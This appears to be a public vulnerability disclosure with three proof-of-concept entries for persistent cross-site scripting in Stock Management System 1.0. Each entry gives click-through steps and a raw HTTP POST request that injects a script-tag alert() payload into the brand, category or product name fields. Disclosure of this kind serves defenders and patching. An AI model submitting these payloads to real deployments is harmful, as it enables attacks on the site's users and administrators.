Stock Management System 1.0 Cross Site Scripting

`# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name)  
# Exploit Author: Adeeb Shah (@hyd3sec)  
# Date: August 2, 2020  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html  
# Version: 1.0  
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4  
  
  
# Vulnerability Details  
# Description A persistent cross-site scripting vulnerability exists within the 'Brand Name' parameter in the edit brand function.  
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Brand Name value expected.  
  
#Steps:  
  
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)  
  
2. Click "Brand"  
  
3. Click "Action" in any brand name row  
  
4. Click Edit  
  
5. In "Brand Name" field enter XSS <script>alert(1)</script>  
  
6. Click save changes  
  
7. Any page on the webapp expecting that 'Brand Name' will trigger the XSS.  
  
POST /stock/php_action/editBrand.php HTTP/1.1  
Host: 192.168.222.132  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.222.132/stock/brand.php  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 78  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8  
  
editBrandName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editBrandStatus=1&brandId=14  
  
  
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Categories Name)  
# Exploit Author: Adeeb Shah (@hyd3sec)  
# Date: August 2, 2020  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html  
# Version: 1.0  
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4  
  
  
# Vulnerability Details  
# Description A persistent cross-site scripting vulnerability exists within the 'Categories Name' parameter in the edit brand function.  
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Categories Name value expected.  
  
#Steps:  
  
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)  
  
2. Click "Category"  
  
3. Click "Action" in any categories name row  
  
4. Click Edit  
  
5. In "Categories Name" field enter XSS <script>alert("XSS")</script>  
  
6. Click save changes  
  
7. Any page on the webapp expecting that 'Categories Name' will trigger the XSS.  
  
POST /stock/php_action/editCategories.php HTTP/1.1  
Host: 192.168.222.132  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.222.132/stock/categories.php  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 102  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8  
  
  
  
  
editCategoriesName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editCategoriesStatus=1&editCategoriesId=9  
  
  
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Product Name)  
# Exploit Author: Adeeb Shah (@hyd3sec)  
# Date: August 2, 2020  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html  
# Version: 1.0  
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4  
  
  
# Vulnerability Details  
# Description A persistent cross-site scripting vulnerability exists within the 'Product Name' parameter in the Edit Product function.  
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Product Name value expected.  
  
#Steps:  
  
1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)  
  
2. Click "Product"  
  
3. Click "Action" in any categories name row  
  
4. Click Edit, then Product Info (tab)  
  
5. In "Product Name" field enter XSS <script>alert("XSS")</script>  
  
6. Click save changes  
  
7. Any page on the webapp expecting that 'Product Name' will trigger the XSS.  
  
  
  
POST /stock/php_action/editProduct.php HTTP/1.1  
Host: 192.168.222.132  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.222.132/stock/product.php  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------147762840819880874581057152477  
Content-Length: 938  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8  
  
  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editProductName"  
  
  
<script>alert("hyd3sec")</script>  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editQuantity"  
  
  
9  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editRate"  
  
  
  
1200  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editBrandName"  
  
  
12  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editCategoryName"  
  
  
  
7  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="editProductStatus"  
  
  
  
1  
-----------------------------147762840819880874581057152477  
Content-Disposition: form-data; name="productId"  
  
  
8  
-----------------------------147762840819880874581057152477--  
`